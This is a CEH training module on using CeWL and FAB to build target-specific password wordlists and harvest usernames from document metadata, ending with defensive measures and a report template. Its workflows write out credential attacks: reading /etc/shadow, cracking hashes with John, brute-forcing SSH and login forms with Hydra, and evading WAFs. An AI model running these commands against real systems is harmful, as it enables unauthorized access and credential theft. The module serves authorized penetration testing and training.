Cyber Services / All lessons / CEH — Ethical Hacking / CEWL Command Reference Guide

CEWL Command Reference Guide

Module 33 of 130 · 5 min read · Free to read

MODULES ↓ Command blocks have a COPY button
CEH & Red Team Technical Guide — Spidering, Metadata Extraction (FAB), Integration with Hashcat/John/Hydra, Defense Evasion, CVSS Scoring & Real-World Attack Workflows
What is CEWL?

CEWL (Custom Word List generator) is an advanced reconnaissance tool that spiders websites to extract contextually relevant words — company names, product codenames, employee jargon, project titles — to generate highly targeted wordlists. Unlike generic lists (e.g., rockyou.txt), CEWL lists dramatically increase password cracking success rates by aligning with the target’s linguistic fingerprint.

Used in tandem with fab-cewl (Files Already Bagged), it extracts metadata from downloaded documents (PDF, DOCX, PPTX) to harvest potential usernames, authors, and internal identifiers — turning OSINT into actionable attack vectors.

LEGAL & ETHICAL WARNING

CEWL performs active web crawling and metadata scraping. Unauthorized use violates CFAA, GDPR, Computer Misuse Act, and website ToS. Always obtain explicit, written authorization. Use only in scoped, authorized penetration tests or isolated labs.

Installation & Verification

Pre-Installed on Kali Linux
cewl --version

If missing:

sudo apt update && sudo apt install cewl -y

Install FAB for metadata extraction:

sudo gem install fab-cewl
Pro Tip: Test CEWL against intentionally vulnerable targets like dvwa.local, juice-shop, or metasploitable. Never scan production sites without written permission.

Advanced Syntax & CLI Mastery

Core Command Structure

cewl [OPTIONS] TARGET_URL
Flag Description Pro-Level Usage
-d 5Spider depth 5Deep crawl for large orgs
-m 8Min word length 8Target complex password policies
--with-numbersInclude numeric wordsCrack "ProjectX2024"
--lowercaseNormalize caseStandardize for cracking engines
-e --email_file emails.txtExtract emailsBuild username lists
-a --meta_file meta.txtExtract metadataFind hidden authors/comments
--proxy_host 127.0.0.1 --proxy_port 8080Route via Burp SuiteIntercept & analyze traffic
--auth_type basic --auth_user USER --auth_pass PASSAuth-protected sitesScan internal portals
--exclude /logout --exclude /admin/logoutExclude logout pathsPrevent session invalidation
--user-agent "Mozilla/5.0 (X11; Linux x86_64)"Custom UAEvade WAF fingerprinting
-vVerbose modeDebug crawl behavior
Target Selection
Spider & Extract
Filter & Normalize
Integrate with Cracker
Exploit & Report

Real-World Attack Workflows

Workflow 1: CEWL → John → SSH

# 1. Generate targeted wordlist
cewl -d 3 -m 8 --with-numbers --lowercase -w corp_words.txt https://corp-internal.com

# 2. Crack SSH hash (e.g., from /etc/shadow via prior exploit)
unshadow /etc/passwd /etc/shadow > crackme.txt
john --wordlist=corp_words.txt --format=sha512crypt crackme.txt

# 3. Use cracked creds with Hydra
hydra -l john_doe -p CrackedPass123 ssh://192.168.1.50

Workflow 2: FAB → Username List → Web Form

# 1. Download PDFs from target site (wget, curl, manual)
wget -r -A.pdf https://corp.com/docs/

# 2. Extract metadata & usernames
fab-cewl -v ./docs/ > potential_users.txt

# 3. Attack login form with CEWL wordlist + FAB usernames
hydra -L potential_users.txt -P corp_words.txt http-post-form "/login:username=^USER^&password=^PASS^:Invalid" -V -f 192.168.1.60

Workflow 3: Defense Evasion (WAF/IDS)

# Use randomized delay, custom UA, and proxy
cewl -d 2 -m 7 --with-numbers --lowercase \
     --user-agent "Googlebot/2.1 (+http://www.google.com/bot.html)" \
     --proxy_host 127.0.0.1 --proxy_port 8080 \
     --delay 1 \
     -w stealth_words.txt https://waf-protected.com
Tip: Combine with torify or rotate proxies for advanced evasion. Monitor logs to adjust delay and depth.

FAB: Forensic Metadata Extraction

FAB (Files Already Bagged) extracts metadata from local files — author names, creation dates, software versions, GPS coordinates (in images), revision history — often revealing internal usernames, project codenames, or sensitive paths.
# Install
sudo gem install fab-cewl

# Extract from single file
fab-cewl -v report.docx

# Extract from directory
fab-cewl ./downloaded_docs/ > metadata.txt

# Extract only author fields
fab-cewl -v ./docs/ | grep -i "author" > authors.txt
Metadata Risks: Many organizations unknowingly leak internal data via document properties. FAB turns this into an offensive advantage. Always scrub metadata before distributing documents.

Defense Strategies & CVSS Scoring

CVSS 4.0 Scoring for CEWL-Exploitable Weaknesses

Metric Value Impact
Attack Vector (AV)Network (N)High
Attack Complexity (AC)Low (L)High
Privileges Required (PR)None (N)High
User Interaction (UI)None (N)High
Confidentiality (C)High (H)Critical
Integrity (I)High (H)Critical
Availability (A)None (N)Medium
Base Score8.6 (High)Requires remediation
Organizational Defense Strategies
  • Metadata Scrubbing: Enforce document sanitization before external distribution (e.g., Adobe Acrobat “Remove Hidden Info”, Office “Inspect Document”).
  • Web Content Minimization: Avoid publishing internal jargon, codenames, or employee names on public sites.
  • Robots.txt & Rate Limiting: Block crawlers via robots.txt and implement WAF rules to throttle rapid requests.
  • Password Policy Enforcement: Mandate 12+ char, multi-word passphrases not based on company terms (e.g., “PurpleElephant$Bounces42” not “ProjectX2024!”).
  • Training: Educate content creators on metadata risks and wordlist generation threats.
Reporting Template for Pentesters:
Vulnerability: Targeted Wordlist Generation via Public Content
CVSS: 8.6 (High)
Risk: Attackers can generate highly effective wordlists from your public website and documents.
Proof: CEWL extracted 1,247 unique words ≥8 chars from https://target.com. FAB found 12 internal usernames in /docs/.
Remediation:
  1. Sanitize all public documents for metadata.
  2. Review web content for sensitive/internal terminology.
  3. Enforce passphrase-based password policy.
  4. Implement rate limiting on web servers.

Conclusion & Pro Tips

CEWL is Reconnaissance Weaponized

CEWL transforms passive OSINT into active attack vectors. In skilled hands, it bridges the gap between reconnaissance and exploitation — turning website text and document metadata into cracked credentials. Mastery of CEWL is non-negotiable for modern red teamers and penetration testers.

Pro-Level Tips:
  • Chain with Nmap: Use nmap -p 80,443 --script http-enum to find hidden paths before CEWL crawling.
  • Hybrid Wordlists: Merge CEWL output with rockyou.txt and Hashcat rules: cat cewl.txt rockyou.txt | sort -u > hybrid.txt
  • Automate with Bash: Build scripts that auto-crawl, auto-crack, auto-report.
  • Monitor Logs: Check target’s access.log to fine-tune depth and delay for stealth.
  • Combine with TheHarvester: Use emails from TheHarvester as usernames with CEWL wordlists.
Further Research:
  • Integrate CEWL into Burp Suite via extensions or macros.
  • Use CEWL with Kerbrute for Active Directory username enumeration.
  • Develop custom CEWL plugins for JavaScript-heavy SPAs (via headless browsers).
  • Combine with AI (e.g., GPT) to mutate CEWL words into probable password variations.
Modules (130) ← CEH — Ethical Hacking